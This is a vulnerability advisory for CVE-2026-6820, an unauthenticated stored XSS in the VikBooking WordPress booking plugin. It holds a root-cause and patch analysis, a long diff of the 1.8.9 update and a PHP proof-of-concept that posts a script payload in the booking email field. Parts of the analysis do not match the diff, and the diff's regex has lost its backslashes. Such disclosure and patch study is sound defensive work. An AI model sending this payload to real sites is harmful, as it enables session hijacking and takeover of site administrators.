Published : July 7, 2026

CVE-2026-6820: VikBooking Hotel Booking Engine & PMS <= 1.8.8 Unauthenticated Stored Cross-Site Scripting via Booking Form Email Field PoC, Patch Analysis & Rule

CVE ID CVE-2026-6820
Plugin vikbooking
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.8.8
Patched Version 1.8.9
Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6820:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the VikBooking Hotel Booking Engine & PMS plugin for WordPress, affecting versions up to and including 1.8.8. The vulnerability allows any unauthenticated attacker to inject arbitrary JavaScript into the booking form email field, which subsequently executes when an administrator views the booking order in the backend.

Root Cause:
The root cause lies in the site-side controller file `site/controller.php`. During the booking submission flow, the plugin collects custom field data via `VikRequest::getString()`. For email fields specifically, at line 307, the code assigns the user-supplied value directly to `$useremail` without any sanitization. The only check performed is a single `intval()` comparison on the custom field flag `$cf[‘isemail’]`. The email value is then stored into the database without proper validation or output escaping. When an administrator later views the booking order in `admin/views/orders/tmpl/default.php` or within the booking details widget (at `admin/helpers/widgets/booking_details.php`), the stored email value is rendered without `htmlspecialchars()` encoding.

Exploitation:
An unauthenticated attacker crafts a booking request to the site-facing booking endpoint. The attacker sets the email custom field parameter (e.g., `vbf1` for the custom field with ID 1) to a malicious payload such as `test@example.com”>alert(document.cookie)`. The attacker must also fill other required fields (first name, last name, check-in/check-out dates, room selection) to pass validation. Upon submission, the payload is stored in the database. When an administrator navigates to `wp-admin/admin.php?page=vikbooking&view=orders` or opens the specific order, the injected script executes in their browser session.

Patch Analysis:
The patch at line 307 of `site/controller.php` introduces a server-side email validation regex before the value is stored. The regex checks the email format against a robust pattern, rejecting any input that does not conform to a valid email address. This prevents any XSS payload from being stored because the payload will fail the regex validation. Additionally, output escaping was hardened in several other files: `admin/helpers/widgets/booking_details.php` now applies `htmlspecialchars()` to `$details[‘adminnotes’]`, `admin/views/editorder/tmpl/default.php` uses `JHtml::fetch(‘esc_textarea’)`, and `admin/views/orders/tmpl/default.php` adds `htmlspecialchars()` to `$row[‘adminnotes’]`. The plugin version was bumped to 1.8.9.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated administrator’s browser session. This can lead to session hijacking, forced administrative actions (such as creating new admin users or modifying plugin settings), and theft of sensitive data including customer personally identifiable information (PII) stored in the booking database. The CVSS score of 7.2 reflects the high impact on confidentiality, integrity, and availability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/vikbooking/admin/controller.php
+++ b/vikbooking/admin/controller.php
@@ -2519,11 +2519,46 @@
 					$q = "SELECT `b`.`id`,`b`.`idroom` FROM `#__vikbooking_busy` AS `b`,`#__vikbooking_ordersbusy` AS `ob` WHERE `b`.`id`=`ob`.`idbusy` AND `ob`.`idorder`=" . $ord['id'] . ";";
 					$dbo->setQuery($q);
 					$allbusy = $dbo->loadAssocList();
+
 					foreach ($allbusy as $bb) {
 						$q = "UPDATE `#__vikbooking_busy` SET `checkin`=" . $first . ", `checkout`=" . $second . ", `realback`=" . $realback . " WHERE `id`=" . $bb['id'] . ";";
 						$dbo->setQuery($q);
 						$dbo->execute();
 					}
+
+					if (!$allbusy) {
+						/**
+						 * If no existing busy records were fetched, it means we have some missing or broken
+						 * records in the database. Proceed with restoring them to occupy the room(s).
+						 *
+						 * @since 	1.8.19 (J) - 1.8.9 (WP)
+						 */
+						$dbo->setQuery(
+							$dbo->getQuery(true)
+								->delete($dbo->qn('#__vikbooking_ordersbusy'))
+								->where($dbo->qn('idorder') . ' = ' . (int) $ord['id'])
+						);
+						$dbo->execute();
+						foreach ($ordersrooms as $or) {
+							if ($room_removed !== false && $or['id'] == $prm_room_oid) {
+								continue;
+							}
+							$restoreBusyRecord = (object) [
+								'idroom'   => $or['idroom'],
+								'checkin'  => $first,
+								'checkout' => $second,
+								'realback' => $realback,
+							];
+							$dbo->insertObject('#__vikbooking_busy', $restoreBusyRecord, 'id');
+							if (!empty($restoreBusyRecord->id)) {
+								$restoreBusyRelation = (object) [
+									'idorder' => $ord['id'],
+									'idbusy'  => $restoreBusyRecord->id,
+								];
+								$dbo->insertObject('#__vikbooking_ordersbusy', $restoreBusyRelation, 'id');
+							}
+						}
+					}
 				}

 				/**
@@ -11170,7 +11205,7 @@
 		$cust_old_fields = array();
 		$cstring_search = '<div class="vbo-custsearchres-inner">' . "n";
 		foreach ($customers as $k => $v) {
-			$cstring_search .= '<div class="' . $selector . '" data-custid="'.$v['id'].'" data-email="'.$v['email'].'" data-phone="'.htmlspecialchars($v['phone']).'" data-country="'.$v['country'].'" data-pin="'.$v['pin'].'" data-firstname="'.htmlspecialchars($v['first_name']).'" data-lastname="'.htmlspecialchars($v['last_name']).'">'."n";
+			$cstring_search .= '<div class="' . $selector . '" data-custid="' . (int) $v['id'] . '" data-email="' . htmlspecialchars($v['email']) . '" data-phone="' . htmlspecialchars($v['phone']) . '" data-country="' . htmlspecialchars($v['country']) . '" data-pin="' . htmlspecialchars($v['pin']) . '" data-firstname="' . htmlspecialchars($v['first_name']) . '" data-lastname="' . htmlspecialchars($v['last_name']) . '">'."n";
 			$cstring_search .= '<span class="vbo-custsearchres-cflag">';
 			if (!empty($v['pic'])) {
 				$cstring_search .= '<img src="' . (strpos($v['pic'], 'http') === 0 ? $v['pic'] : VBO_SITE_URI . 'resources/uploads/' . $v['pic']) . '" class="vbo-country-flag vbo-customer-avatar-flag"/>'."n";
--- a/vikbooking/admin/controllers/payschedules.php
+++ b/vikbooking/admin/controllers/payschedules.php
@@ -46,7 +46,7 @@
 		}

 		// current date object
-		$now_dt = JFactory::getdate('now');
+		$now_dt = JFactory::getDate('now');

 		// access the time with hours and minutes
 		$time_parts = explode(':', $time);
--- a/vikbooking/admin/controllers/quote.php
+++ b/vikbooking/admin/controllers/quote.php
@@ -135,6 +135,7 @@
                 'children'   => array_sum(array_column($solution['rooms'], 'children')),
                 'id_payment' => $quote['id_payment'] ?? null,
                 'lock_until' => $quote['validity'] ?? null,
+                'dont_lock'  => empty($quote['validity']),
                 'idquote'    => $quoteId,
             ], true);

--- a/vikbooking/admin/helpers/src/model/payschedules.php
+++ b/vikbooking/admin/helpers/src/model/payschedules.php
@@ -156,6 +156,54 @@
     }

     /**
+     * Method to delete one or more records.
+     *
+     * @param   mixed    $pks  An array of record primary keys, or a single one.
+     *
+     * @return  bool     True if successful, false if an error occurs.
+     *
+     * @since   1.8.19 (J) - 1.8.9 (WP)
+     */
+    public function delete($pks)
+    {
+        $dbo = JFactory::getDbo();
+
+        if (!$pks) {
+            // nothing to delete
+            return false;
+        }
+
+        if (!is_array($pks)) {
+            // wrap into an array
+            $pks = [$pks];
+        }
+
+        $deleted = 0;
+
+        foreach ($pks as $pk) {
+            // ensure the item exists
+            $item = $this->getItem($pk);
+
+            if (!$item) {
+                continue;
+            }
+
+            $dbo->setQuery(
+                $dbo->getQuery(true)
+                    ->delete($dbo->qn('#__vikbooking_payschedules'))
+                    ->where($dbo->qn('id') . ' = ' . (int) $item->id)
+            );
+            $dbo->execute();
+
+            if ((bool) $dbo->getAffectedRows()) {
+                $deleted++;
+            }
+        }
+
+        return (bool) $deleted;
+    }
+
+    /**
      * Watches and eventually processes the automatic payment collections scheduled.
      *
      * @param   int     $lim    the limit of payments to process, defaults to 5 per execution.
--- a/vikbooking/admin/helpers/src/model/quote.php
+++ b/vikbooking/admin/helpers/src/model/quote.php
@@ -137,6 +137,7 @@
                         $dbo->qn('o.idpayment'),
                         $dbo->qn('o.roomsnum'),
                         $dbo->qn('o.total'),
+                        $dbo->qn('o.lang'),
                         $dbo->qn('o.idquote'),
                         $dbo->qn('or.idroom'),
                         $dbo->qn('or.adults'),
@@ -214,6 +215,7 @@
                         'nights'    => $bookingRoomsData[0]->days,
                         'status'    => $bookingRoomsData[0]->status,
                         'total'     => $bookingRoomsData[0]->total,
+                        'lang'      => $bookingRoomsData[0]->lang,
                         'idpayment' => $bookingRoomsData[0]->idpayment,
                         'sid'       => $bookingRoomsData[0]->sid,
                         'ts'        => $bookingRoomsData[0]->ts,
@@ -390,6 +392,13 @@
         // access booking registry for the first related booking (if any)
         $bookingRegistry = $bookingIds ? VBOBookingRegistry::getInstance(['id' => $bookingIds[0] ?? 0]) : null;

+        // route quote URI
+        $quoteUri = VikBooking::externalroute(
+            "index.php?option=com_vikbooking&view=quote&ref={$quote->uuid}",
+            false,
+            (VikBooking::findProperItemIdType(['quote'], $bookingRegistry->getProperty('lang') ?: null) ?: null)
+        );
+
         // build the list of known tag parameters
         $tagParameters = [
             '{first_name}'    => $quote->first_name ?? '',
@@ -400,7 +409,7 @@
             '{tot_adults}'    => $bookingRegistry ? $bookingRegistry->countTotalAdults() : 0,
             '{tot_children}'  => $bookingRegistry ? $bookingRegistry->countTotalChildren() : 0,
             '{tot_guests}'    => $bookingRegistry ? $bookingRegistry->countTotalGuests() : 0,
-            '{quote_link}'    => VikBooking::externalroute("index.php?option=com_vikbooking&view=quote&ref={$quote->uuid}", false),
+            '{quote_link}'    => $quoteUri,
         ];

         /**
--- a/vikbooking/admin/helpers/src/model/reservation.php
+++ b/vikbooking/admin/helpers/src/model/reservation.php
@@ -2597,6 +2597,7 @@
         $num_rooms        = $this->isMultiRoom() ? count($rooms_pool) : $this->get('num_rooms', 1);
         $default_checkin  = $this->get('checkin', 0);
         $default_checkout = $this->get('checkout', 0);
+        $check_locked     = (bool) $this->get('check_locked', 0);

         // determine availability
         $rooms_available = true;
@@ -2624,8 +2625,13 @@
                     // check the remaining availability for the number of room units booked
                     $unitsBooked = $roomUnitsUse[$roomStay['idroom']];
                     $check_units = $roomStay['units'] - $unitsBooked + 1;
-                    // check if the room is available
-                    $rooms_available = VikBooking::roomBookable($roomStay['idroom'], $check_units, $roomStay['checkin'], $roomStay['checkout']);
+                    if ($check_locked) {
+                        // check if the room is available and not temporarily locked
+                        $rooms_available = VikBooking::roomNotLocked($roomStay['idroom'], $check_units, $roomStay['checkin'], $roomStay['checkout'], true);
+                    } else {
+                        // check if the room is available
+                        $rooms_available = VikBooking::roomBookable($roomStay['idroom'], $check_units, $roomStay['checkin'], $roomStay['checkout']);
+                    }
                     if (!$rooms_available) {
                         // set an error and abort
                         $this->setError(sprintf(
@@ -2646,8 +2652,13 @@
                     // only when non closing the room we check the availability for the units requested for booking
                     $check_units = $check_units - $num_rooms + 1;
                 }
-                // check if the room is available
-                $rooms_available = VikBooking::roomBookable($rooms_pool[0]['id'], $check_units, $default_checkin, $default_checkout);
+                if ($check_locked) {
+                    // check if the room is available and not temporarily locked
+                    $rooms_available = VikBooking::roomNotLocked($rooms_pool[0]['id'], $check_units, $default_checkin, $default_checkout, true);
+                } else {
+                    // check if the room is available
+                    $rooms_available = VikBooking::roomBookable($rooms_pool[0]['id'], $check_units, $default_checkin, $default_checkout);
+                }
             }
         } else {
             $all_rooms = $this->loadAllRoomsData();
@@ -3490,21 +3501,24 @@
                 } elseif ($status == 'standby' && empty($split_stay_data)) {
                     // lock room for pending status when NO split-stay data by supporting room-level dates
                     $lockUntil = VikBooking::getMinutesLock(true);
+
                     if ($this->get('lock_until')) {
                         // convert expected date-time string into a timestamp for custom lock until date
                         $lockUntil = strtotime((string) $this->get('lock_until')) ?: $lockUntil;
                     }

-                    // store room lock record
-                    $tmplock_record = new stdClass;
-                    $tmplock_record->idroom   = (int) $nowroom['id'];
-                    $tmplock_record->checkin  = $room_stay_checkin;
-                    $tmplock_record->checkout = $room_stay_checkout;
-                    $tmplock_record->until    = $lockUntil;
-                    $tmplock_record->realback = $room_stay_realback;
-                    $tmplock_record->idorder  = (int) $newoid;
+                    if ($lockUntil && $this->get('dont_lock') !== true) {
+                        // store room lock record
+                        $tmplock_record = new stdClass;
+                        $tmplock_record->idroom   = (int) $nowroom['id'];
+                        $tmplock_record->checkin  = $room_stay_checkin;
+                        $tmplock_record->checkout = $room_stay_checkout;
+                        $tmplock_record->until    = $lockUntil;
+                        $tmplock_record->realback = $room_stay_realback;
+                        $tmplock_record->idorder  = (int) $newoid;

-                    $dbo->insertObject('#__vikbooking_tmplock', $tmplock_record, 'id');
+                        $dbo->insertObject('#__vikbooking_tmplock', $tmplock_record, 'id');
+                    }
                 }
             }
         }
--- a/vikbooking/admin/helpers/src/taxonomy/summary.php
+++ b/vikbooking/admin/helpers/src/taxonomy/summary.php
@@ -201,13 +201,17 @@
 			return $tax_map[$tax_id];
 		}

+		if (empty($tax_id)) {
+			return [];
+		}
+
 		$dbo = JFactory::getDbo();

 		$q = "SELECT * FROM `#__vikbooking_iva` WHERE `id`=" . $tax_id;
 		$dbo->setQuery($q, 0, 1);

 		// cache value and return it
-		$tax_map[$tax_id] = $dbo->loadAssoc();
+		$tax_map[$tax_id] = (array) $dbo->loadAssoc();

 		return $tax_map[$tax_id];
 	}
--- a/vikbooking/admin/helpers/widgets/booking_details.php
+++ b/vikbooking/admin/helpers/widgets/booking_details.php
@@ -681,7 +681,7 @@
 						<div class="vbo-params-block">
 							<div class="vbo-param-container">
 								<div class="vbo-param-setting">
-									<blockquote class="vbo-booking-admin-notes"><?php echo nl2br($details['adminnotes']); ?></blockquote>
+									<blockquote class="vbo-booking-admin-notes"><?php echo nl2br(htmlspecialchars($details['adminnotes'])); ?></blockquote>
 								</div>
 							</div>
 						</div>
--- a/vikbooking/admin/helpers/widgets/guest_messages.php
+++ b/vikbooking/admin/helpers/widgets/guest_messages.php
@@ -405,7 +405,7 @@
 					<div class="vbo-dashboard-guest-activity-content-head">
 						<div class="vbo-dashboard-guest-activity-content-info-details">
 							<h4 class="vbo-w-guestmessages-message-gtitle"><span><?php
-							if (!$gmessage->first_name && !$gmessage->last_name) {
+							if (empty($gmessage->first_name) && empty($gmessage->last_name)) {
 								echo JText::translate('VBO_GUEST');
 							} else {
 								echo $gmessage->first_name . (!empty($gmessage->last_name) ? ' ' . $gmessage->last_name : '');
--- a/vikbooking/admin/layouts/quote/manage/html.php
+++ b/vikbooking/admin/layouts/quote/manage/html.php
@@ -84,6 +84,12 @@

     <?php
     if ($quote) {
+        // route quote URI
+        $quoteUri = VikBooking::externalroute(
+            "index.php?option=com_vikbooking&view=quote&ref={$quote->uuid}",
+            false,
+            (VikBooking::findProperItemIdType(['quote'], $quote->solutions[0]->lang ?? null) ?: null)
+        );
         ?>
         <div class="vbo-quote-section vbo-quote-section-current" data-quote-id="<?php echo $quote->id; ?>">
             <div class="vbo-quote-section-head vbo-quote-section-head-sb">
@@ -92,7 +98,7 @@
                     <span class="vbo-quote-section-name"><?php echo sprintf('%s #%d', JText::translate('VBO_BTYPE_QUOTE'), $quote->id); ?></span>
                 </div>
                 <div class="vbo-quote-edit-link">
-                    <a class="btn btn-small vbo-config-btn" target="_blank" href="<?php echo VikBooking::externalroute('index.php?option=com_vikbooking&view=quote&ref=' . $quote->uuid); ?>"><?php VikBookingIcons::e('external-link'); ?> <?php echo JText::translate('VBVIEWORDFRONT'); ?></a>
+                    <a class="btn btn-small vbo-config-btn" target="_blank" href="<?php echo $quoteUri; ?>"><?php VikBookingIcons::e('external-link'); ?> <?php echo JText::translate('VBVIEWORDFRONT'); ?></a>
                 </div>
             </div>
             <div class="vbo-quote-section-body">
@@ -402,7 +408,7 @@
             </div>
             <div class="vbo-quote-section-body">
                 <div class="vbo-quote-validity-date">
-                    <label for="vbo-quote-valid-until"><?php echo JText::translate('VBO_QUOTE_VALIDITY'); ?></label>
+                    <label for="vbo-quote-valid-until"><?php echo JText::translate('VBO_QUOTE_VALIDITY'); ?> <span class="vbo-quote-validity-date-help"><?php VikBookingIcons::e('circle-question', 'icn-nomargin'); ?></span></label>
                     <?php
                     $validUntilVal = JFactory::getDate('+2 days 23:59')->format('Y-m-d H:i');
                     if ($quote) {
--- a/vikbooking/admin/layouts/quote/manage/script.php
+++ b/vikbooking/admin/layouts/quote/manage/script.php
@@ -517,6 +517,18 @@
         });

         /**
+         * Register event listener for the valid until help icon.
+         */
+        document.querySelector('.vbo-quote-validity-date-help')?.addEventListener('click', (e) => {
+            VBOCore.displayModal({
+                extra_class: 'vbo-modal-rounded vbo-modal-tooltip',
+                body:        <?php echo json_encode(JText::translate('VBO_LOCK_UNTIL_HELP')); ?>,
+                lock_scroll: true,
+                draggable:   false,
+            });
+        });
+
+        /**
          * Register event listener for the quote submit (save new) button.
          */
         document.querySelector('.vbo-quote-submit-btn')?.addEventListener('click', (e) => {
--- a/vikbooking/admin/views/editorder/tmpl/default.php
+++ b/vikbooking/admin/views/editorder/tmpl/default.php
@@ -2714,7 +2714,7 @@
 					</div>
 					<div class="vbo-bookingdet-noteslogs-cont">
 						<div id="vbadminnotesdiv" class="vbo-extra-panel" style="display: block;">
-							<textarea name="adminnotes" class="vbadminnotestarea"><?php echo strip_tags((string)$row['adminnotes']); ?></textarea>
+							<textarea name="adminnotes" class="vbadminnotestarea"><?php echo JHtml::fetch('esc_textarea', (string) $row['adminnotes']); ?></textarea>
 							<input type="submit" name="updadmnotes" value="<?php echo JText::translate('VBADMINNOTESUPD'); ?>" class="btn btn-success" />
 						</div>
 					<?php
--- a/vikbooking/admin/views/orders/tmpl/default.php
+++ b/vikbooking/admin/views/orders/tmpl/default.php
@@ -766,7 +766,7 @@
 				if (!empty($row['adminnotes'])) {
 					?>
 				<span class="vbo-admin-tipsicon vbo-admin-notes-icn" data-bid="<?php echo $row['id']; ?>"><?php VikBookingIcons::e('sticky-note'); ?></span> 
-				<div class="vbo-order-admin-notes-cnt" data-bid="<?php echo $row['id']; ?>" style="display: none;"><?php echo nl2br($row['adminnotes']); ?></div>
+				<div class="vbo-order-admin-notes-cnt" data-bid="<?php echo $row['id']; ?>" style="display: none;"><?php echo nl2br(htmlspecialchars($row['adminnotes'])); ?></div>
 					<?php
 				}

--- a/vikbooking/defines.php
+++ b/vikbooking/defines.php
@@ -12,7 +12,7 @@
 defined('ABSPATH') or die('No script kiddies please!');

 // Software version
-define('VIKBOOKING_SOFTWARE_VERSION', '1.8.8');
+define('VIKBOOKING_SOFTWARE_VERSION', '1.8.9');

 // Base path
 define('VIKBOOKING_BASE', dirname(__FILE__));
--- a/vikbooking/libraries/language/admin.php
+++ b/vikbooking/libraries/language/admin.php
@@ -8672,6 +8672,9 @@
 			case 'VBO_QUOTE_NOTES_HELP':
 				$result = __('Notes will be displayed to customer in front-end.', 'vikbooking');
 				break;
+			case 'VBO_LOCK_UNTIL_HELP':
+				$result = __('Set a date to temporarily lock the selected rooms. Leave blank to keep availability open.', 'vikbooking');
+				break;
 		}

 		return $result;
--- a/vikbooking/site/controller.php
+++ b/vikbooking/site/controller.php
@@ -304,6 +304,10 @@
 				$user_inp_val = VikRequest::getString('vbf' . $cf['id'], '', 'request');
 				if (intval($cf['isemail']) == 1 && $emailwasfound == false) {
 					$useremail = trim($user_inp_val);
+					if (!preg_match('/^(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(".+"))@(([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}])|(([a-zA-Z-0-9]+.)+[a-zA-Z]{2,}))$/', $useremail)) {
+						showSelectVb('Invalid email address provided.');
+						return;
+					}
 					$emailwasfound = true;
 				}
 				if ($cf['isnominative'] == 1) {
@@ -4576,9 +4580,9 @@
 		$checkout_m  = $input->getInt('checkoutm', 0);
 		$categories  = $input->getString('categories', '');
 		$roomsnum  	 = $input->getInt('roomsnum', 1);
-		$adults 	 = $input->get('adults', array(), 'int');
-		$children 	 = $input->get('children', array(), 'int');
-		$inquiry 	 = $input->get('inquiry', array(), 'raw');
+		$adults 	 = $input->get('adults', [], 'int');
+		$children 	 = $input->get('children', [], 'int');
+		$inquiry 	 = $input->get('inquiry', [], 'array');
 		$ulang 		 = $input->getString('ulang', '');

 		$timeopst = VikBooking::getTimeOpenStore();
@@ -4625,6 +4629,8 @@
 					// empty or invalid field
 					continue;
 				}
+				// accept only text from submitted value
+				$info_val = strip_tags($info_val);
 				if ($info_type == 'nominative') {
 					if (empty($t_first_name)) {
 						$t_first_name = $info_val;
--- a/vikbooking/site/helpers/icons.php
+++ b/vikbooking/site/helpers/icons.php
@@ -100,6 +100,7 @@
         'cog'                  => 'fas fa-gear',
         'cogs'                 => 'fas fa-gears',
         'user-cog'             => 'fas fa-user-gear',
+        'circle-question'      => 'far fa-circle-question',

         /**
          * Resolving map used until the older FA v5.12.1.
--- a/vikbooking/site/helpers/lib.vikbooking.php
+++ b/vikbooking/site/helpers/lib.vikbooking.php
@@ -2038,21 +2038,16 @@
 	 * 			This was made to return the proper number of days in advance
 	 * 			in case the property is currently closed.
 	 */
-	public static function getMinDaysAdvance($no_closing_dates = false) {
+	public static function getMinDaysAdvance($no_closing_dates = false)
+	{
 		// cache value in static var
 		static $getMinDaysAdvance = null;

 		if ($getMinDaysAdvance) {
 			return $getMinDaysAdvance;
 		}
-		//

-		$dbo = JFactory::getDbo();
-
-		$q = "SELECT `setting` FROM `#__vikbooking_config` WHERE `param`='mindaysadvance';";
-		$dbo->setQuery($q);
-		$dbo->execute();
-		$mind = $dbo->getNumRows() ? (int)$dbo->loadResult() : 0;
+		$mind = VBOFactory::getConfig()->getInt('mindaysadvance', 0);

 		// update cached var
 		$getMinDaysAdvance = $mind;
@@ -5185,7 +5180,7 @@
 			return $cost;
 		}

-		$tax_rate = VBOTaxonomySummary::getTaxRateRecord($idiva);
+		$tax_rate = VBOTaxonomySummary::getTaxRateRecord((int) $idiva);
 		if (!$tax_rate) {
 			return $cost;
 		}
@@ -5232,7 +5227,7 @@
 			return $cost;
 		}

-		$tax_rate = VBOTaxonomySummary::getTaxRateRecord($idiva);
+		$tax_rate = VBOTaxonomySummary::getTaxRateRecord((int) $idiva);
 		if (!$tax_rate) {
 			return $cost;
 		}
@@ -5278,7 +5273,7 @@
 			return $cost;
 		}

-		$tax_rate = VBOTaxonomySummary::getTaxRateRecord($idiva);
+		$tax_rate = VBOTaxonomySummary::getTaxRateRecord((int) $idiva);
 		if (!$tax_rate) {
 			return $cost;
 		}
@@ -5322,7 +5317,7 @@
 			return $cost;
 		}

-		$tax_rate = VBOTaxonomySummary::getTaxRateRecord($idiva);
+		$tax_rate = VBOTaxonomySummary::getTaxRateRecord((int) $idiva);
 		if (!$tax_rate) {
 			return $cost;
 		}
--- a/vikbooking/site/views/oconfirm/tmpl/default.php
+++ b/vikbooking/site/views/oconfirm/tmpl/default.php
@@ -1339,7 +1339,7 @@
 	$dep_amount = VikBooking::calcDepositOverride($dep_amount, $days);
 	$dep_type = VikBooking::getTypeDeposit();
 	$dep_nonrefund_allowed = VikBooking::allowDepositFromRates($tars);
-	if (!(count($this->mod_booking) > 0) && !VikBooking::payTotal() && VikBooking::depositAllowedDaysAdv($second) && VikBooking::depositCustomerChoice() && $dep_amount > 0 && $dep_nonrefund_allowed && ($dep_type == "fixed" || ($dep_type != "fixed" && $dep_amount < 100))) {
+	if (!(count($this->mod_booking) > 0) && !VikBooking::payTotal() && VikBooking::depositAllowedDaysAdv($first) && VikBooking::depositCustomerChoice() && $dep_amount > 0 && $dep_nonrefund_allowed && ($dep_type == "fixed" || ($dep_type != "fixed" && $dep_amount < 100))) {
 		$dep_amount = ($dep_amount - abs($dep_amount)) > 0.00 ? VikBooking::numberFormat($dep_amount) : $dep_amount;
 		$dep_string = $dep_type == "fixed" ? VikBooking::formatCurrencyNumber($dep_amount, $currencysymb) : $dep_amount . '%';
 		?>
--- a/vikbooking/site/views/quote/tmpl/default.php
+++ b/vikbooking/site/views/quote/tmpl/default.php
@@ -150,6 +150,11 @@
             $totalRooms    = count($quoteSolution->rooms);
             // tell if we should "hide" this quote solution by default
             $isHid = $isConfirmed && $quoteSolution->status != 'confirmed';
+            // rate components collector
+            $rateComponents = [
+                'applied'  => 0,
+                'original' => 0,
+            ];
             ?>
             <div class="vbo-quote-solution">

@@ -248,6 +253,9 @@
                                 // fallback onto the last room rate obtained
                                 $origRoomRateData = end($roomRates[$bookingRoom->id]) ?: null;
                             }
+                            // increase rate components
+                            $rateComponents['applied']  += $bookingRoom->cust_cost;
+                            $rateComponents['original'] += $origRoomRateData['cost'];
                         }
                     }
                     ?>
@@ -417,7 +425,23 @@
                 <div class="vbo-quote-sol-footer" style="<?php echo $isHid ? 'display: none;' : ''; ?>">
                     <div class="vbo-quote-sol-total">
                         <div class="vbo-quote-sol-total-label"><?php echo JText::translate('VBTOTAL'); ?></div>
-                        <div class="vbo-quote-sol-total-price"><?php echo VikBooking::formatCurrencyNumber(VikBooking::numberFormat($quoteSolution->total), $currencysymb, ['<span class="vbo_currency">%s</span>', '<span class="vbo_price">%s</span>']); ?></div>
+                        <div class="vbo-quote-sol-total-price">
+                        <?php
+                        if ($rateComponents['applied'] && $rateComponents['original'] > $rateComponents['applied']) {
+                            // calculate the total cost without the custom discounted rate
+                            $originalTotal = $quoteSolution->total - $rateComponents['applied'] + $rateComponents['original'];
+                            // display striked-through amount
+                            ?>
+                            <span class="vbo-quote-sol-total-price-disc"><?php
+                            echo VikBooking::formatCurrencyNumber(VikBooking::numberFormat($originalTotal), $currencysymb, ['<span class="vbo_currency">%s</span>', '<span class="vbo_price">%s</span>']);
+                            ?></span>
+                            <?php
+                        }
+
+                        // display quote solution total amount
+                        echo VikBooking::formatCurrencyNumber(VikBooking::numberFormat($quoteSolution->total), $currencysymb, ['<span class="vbo_currency">%s</span>', '<span class="vbo_price">%s</span>']);
+                        ?>
+                        </div>
                         <div class="vbo-quote-sol-total-subtext"><?php
                         echo implode(', ', [
                             sprintf('%d %s', $totalRooms, JText::translate($totalRooms === 1 ? 'VBSEARCHRESROOM' : 'VBSEARCHRESROOMS')),
--- a/vikbooking/vikbooking.php
+++ b/vikbooking/vikbooking.php
@@ -3,7 +3,7 @@
 Plugin Name:  VikBooking
 Plugin URI:   https://vikwp.com/plugin/vikbooking
 Description:  Certified Booking Engine for Hotels and Accommodations.
-Version:      1.8.8
+Version:      1.8.9
 Author:       E4J s.r.l.
 Author URI:   https://vikwp.com
 License:      GPL2

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6820 - VikBooking Hotel Booking Engine & PMS <= 1.8.8 - Unauthenticated Stored Cross-Site Scripting via Booking Form Email Field

/*
This PoC demonstrates how an unauthenticated attacker can inject a stored XSS payload
into the VikBooking plugin by submitting a booking with a malicious email field.
*/

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$endpoint = $target_url . '/index.php?option=com_vikbooking&view=oconfirm'; // Modify if the form action differs

// XSS payload to be injected into the email field
$payload = 'test@example.com"><script>alert("XSS_CVE_2026_6820")</script>';

// Craft the booking form data
$booking_data = array(
    'option'     => 'com_vikbooking',
    'view'       => 'oconfirm',
    'vbf1'       => $payload, // email custom field (assuming ID 1)
    'vbf2'       => 'John',   // first name custom field (assuming ID 2)
    'vbf3'       => 'Doe',    // last name custom field (assuming ID 3)
    'vbroomsnum' => 1,
    'vbcheckin'  => date('Y-m-d', strtotime('+30 days')),
    'vbcheckout' => date('Y-m-d', strtotime('+32 days')),
    'vbadults'   => 2,
    'vbchildren' => 0,
);

// Initialize cURL session
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($booking_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
if (strpos($response, 'order created successfully') !== false || $http_code == 200) {
    echo "[+] Exploit sent successfully. The XSS payload has been stored.n";
    echo "[+] An administrator visiting the booking list/order page will trigger the payload.n";
} else {
    echo "[-] Failed to submit the booking. The target may not be vulnerable or the form structure differs.n";
}

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